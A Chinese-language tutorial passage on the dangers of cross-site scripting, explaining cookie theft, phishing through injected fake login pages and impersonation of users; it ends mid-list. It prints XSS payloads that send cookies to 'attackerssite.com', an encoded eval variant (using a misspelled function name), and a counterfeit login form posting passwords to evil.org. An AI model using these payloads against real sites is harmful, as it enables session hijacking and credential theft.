跨站脚本的名称源自于这样一个事实,即一个Web 站点(或者人)可以把他们的选择的代码越过安全边界线注射到另一个不同的、有漏洞的Web 站点中。当这些注入的代码作为目标站点的代码在受害者的浏览器中执行时,攻击者就能窃取相应的敏感数据,并强迫用户做一些用户非本意的事情。
在本文的上篇中,我们详细介绍了跨站脚本漏洞利用的过程,并对HTML注入进行深入分析;而本文将详细介绍跨站脚本的危害,以及攻击者是如何诱骗受害者的;最后介绍针对跨站脚本攻击的防御措施。
一、跨站脚本的危害
XSS是一种对Web应用程序的用户发动的攻击,利用它攻击者能装扮成被攻击的用户来完全控制Web应用程序,即便Web应用程序位于一个防火墙之后并且攻击者无法直接接触该Web应用程序也是如此。XSS一般不会对用户的机器造成损害,也不会对Web应用程序服务器直接造成破坏。如果成功,攻击者可以做三种事情:
窃取Cookie
在受害用户面前假冒成Web应用程序
在Web应用程序面前假冒成受害用户
二、窃取Cookie
Cookie一般控制着对Web应用程序的访问,如果攻击者偷窃了受害用户的Cookie,那么攻击者就可以使用受害者的Cookie来完全控制受害者的帐户。对于Cookie来说,其最佳实践就是让它在一段时间后过期,这样的话攻击者就只能在有限的时间内访问受害者的帐户。可以利用下面的代码来窃取Cookie:
var x=new Image();x.src='http://attackerssite.com/eatMoreCookies?c='
+document.cookie;
或者像下面这样:
document.write("〈 img src='http://attackerssite.com/eatMoreCookies"+
"?c="+document.cookie+"'〉");
如果某些字符是禁止的,则将其转换为ASCII的十进制数,然后使用JavaScript的String.charFromCode()函数即可。下列JavaScript等价于前面的JavaScript:
eval(String.charFromCode(118,97,114,32,120,61,110,101,119,32,73,109,
97,103,101,40,41,59,120,46,115,114,99,61,39,104,116,116,112,58,47,47,
97,116,116,97,99,107,101,114,115,115,105,116,101,46,99,111,109,47,
101,97,116,77,111,114,101,67,111,111,107,105,101,115,63,99,61,39,43,
100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,59));
三、钓鱼攻击
通过假冒Web应用程序,攻击者可以将XSS用于社会工程。XSS攻击得手后,攻击者能够完全控制Web应用程序的外观。这可用于丑化web,例如攻击者在页面上放置一个无聊的图片。适于打印的常见图像之一是Stall0wn3d,即你被黑了。
下面是用于这种攻击的HTML注入字符串:
〈script〉document.body.innerHTML="〈img
src=http://evil.org/stallown3d.jpg〉";〈/script〉.
然而,控制Web应用程序呈现在受害用户面前的外观比简单显示一些火辣热图更为有利,攻击者可以以此发动钓鱼攻击:强制用户向攻击者提供机密信息。利用document.body.innerHTML,可以提供一个跟有弱点的Web应用程序的登录页面外观完全一样的登录页面,并且该登录页面来自那个被注入HTML的域,但是提交表单时,数据却发往攻击者选择的站点。
因此,当受害用户输入他的或者她的用户名和口令时,这些信息就会落入攻击者手中。代码如下所示:
document.body.innerHTML="〈 h1 〉Company Login〈 / h1〉〈form
action=http://evil.org/grabPasswords method=get〉
〈p〉User name:〈input type=text name=u〉〈p〉Password〈input type=password
name=p〉〈input type=submit name=login〉〈/form〉";
使用这段代码的一个小技巧是通过一个GET请求发送表单。这样,攻击者甚至不必编写grabPasswords页面,因为该请求将写到Web服务器的错误信息日志里,这里的信息可以轻松读取。
四、冒充受害者胡作非为
XSS对Web应用程序最大的影响在于,黑客能够通过它假冒成Web应用程序的合法用户。下面是一些攻击者能够对Web应用程序做的一些事情: 在一个webmail应用程序中,攻击者可以:
以用户的名义发送电子邮件
获取用户的联系人名单
更改自动BCC属性
更改隐私/日志记录设置
在基于 Web 的即时通讯或聊天软件中,攻击者可以:
获取联系人名单 |